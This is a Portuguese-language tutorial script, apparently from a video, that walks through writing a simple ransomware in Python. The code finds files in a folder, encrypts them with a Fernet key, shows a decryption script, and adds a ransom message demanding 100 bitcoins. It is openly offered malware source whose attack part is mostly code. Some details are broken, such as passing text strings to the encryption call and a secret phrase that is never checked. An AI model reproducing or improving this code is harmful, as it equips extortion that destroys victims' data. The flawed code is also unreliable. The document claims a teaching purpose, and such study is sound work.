Hoje vamos criar um malware!
Você tá louco?
Malware é um software malicioso!
Antes de mais nada, queria dizer isso: esse vídeo é totalmente para aprendizado, nunca use de forma maliciosa e que possa causar dano aos seus colegas, amigos e familiares.
Vamos juntos testar e entender como funciona um Ransomware.
Então pega seu café e vamos nessa.
O que vou utilizar para esses testes?
- Um computador com linux ou uma máquina virtual linux
- Um cafezinho passado agora
- VSCode
Primeiro vamos entrar no Linux
Então vamos nessa e vamos criar um Ransomware com Python. Mas antes vou te explicar como funciona um Ransomware
Ransomware é o Malware mais utilizado no momento que já afetou diversas empresas no Brasil e no mundo.
O Ransomware basicamente vai acessar seus arquivos de dados e encripta-los e apenas com uma chave específica vamos conseguir desencripta los e conseguir denovo o acesso
O problema está no fato de precisar de uma chave para desencriptar esses dados e o que os hackers fazem hoje é pedir uma quantia em bitcoin para a empresa afetada para liberar essa chave.
Vamos criar três arquivos de texto:
echo “eae” > text1.txt
echo “hello world” > text2.txt
echo “@acker code” > text3.txt
code .
Abrimos o VSCode
Agora criamos o arquivo madara.py
e vamos agora criar nosso código.
Pausa no cafezinho.
Primeiro o código precisa buscar os arquivos que vamos criptografar e guardar em uma lista
Vamos importar a lib OS
Então: import os
Criamos uma variável chamada files que será a lista.
files = []
agora vamos utilizar o loop for para buscar todos os arquivos dentro da pasta
for file in os.listdir():
if file == “madara.py”:
continue
if os.path.isfile(file):
files.append(file)
vamos apenas procurar os nomes dos arquivos e guardá los na variável files que criamos anteriormente, mas como não queremos estragar nosso ransomware encriptando ele, vamos excluir ele da nossa lista, antes de colocá lo lá dentro
e agora vamos colocar os arquivos dentro da lista que criamos.
Vou dar um print agora para mostrar para vocês.
Mas agora olha este exemplo que vou criar, vou criar uma pasta mas ela também irá direto para nossa lista e isso eh algo que não queremos pois, precisamos apenas dos arquivos e não das pastas. então colocaremos isso if os.path.isfile(file): fazer com que a lib mostre apenas os arquivos e retire as pastas
Agora precisamos importar a biblioteca que vai criptografar os dados
from cryptography.fernet import Fernet
Fernet é uma incrível biblioteca de criptografia para Python
Agora precisamos criar a chave onde que vai se a chave da criptografia dos nossos arquivos sem ela os arquivos continuam criptografados.
key = Fernet.generate_key()
print(key)
with open(“chave.key”, “wb”) as chave:
chave.write(key)
Agora vamos ignorar a chave que criamos para que não seja criptografada junto com os arquivos
files = []
for file in os.listdir():
if file == “madara.py” or file == “chave.key”:
continue
if os.path.isfile(file):
files.append(file)
Agora vamos criptografar os arquivos usando for.
for file in files:
with open(file, “r”) as arquivo:
contents = arquivo.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, “wb”) as arquivo:
arquivo.write(contents_encrypted)
bom o arquivo text1.txt está assim
cat text1.txt
e agora vamos criptografados
python3 madara.py
e agora vamos ver como está nossos arquivos:
cat text1.txt
Ainda bem que possuímos a chave para descriptografar isso. Vamos copiar o madara.py mas agora vamos chamar de guy_sensei.py, abrimos nosso novo script.
Agora vamos criar o nosso script para descriptografar, primeiro vamos excluir a parte de chave pois não precisamos mais e agora precisamos abrir a nossa chave.
vamos incluir:
with open(“chave.key”, “rb”) as key:
secretkey = key.read()
vamos precisar mexer no nosso próximo for loop vamos mexer na parte da criptografia
ao invés de contents_encrypted vai passar a ser contents_decrypted, vamos agora passar secretkey ao invés de key e ao invés de encrypt vai ser decrypt e no final basta adicionarmos o contents_decrypted
for file in files:
with open(file, “r”) as arquivo:
contents = arquivo.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, “wb”) as arquivo:
arquivo.write(contents_decrypted )
e adicionamos no for lá em cima o arquivo que acabamos de criar para ele não ser criptografado
if file == “madara.py” or file == “chave.key” or file == “guy_sensei.py”:
agora vamos a brincadeirinha =)
print(“Seus arquivos foram criptografados!!!! Envie para mim 100 Bitcoins para ou eu vou expor todos os dados na internet”)
podemos ainda colocar um frase secreta
frase_secreta = “cafe”
user_frase = input(“Qual eh a frase secreta\n?”)
WOOOW isso foi bem legal de fazer junto com vocês turma
Isso foi muito simples de se fazer.
Os Ransomware de hoje são bem mais complexos, mas podemos entender como funcionam dessa maneira de hoje!!
Isso foi bem louco de fazer junto com vocês turma, obrigado!!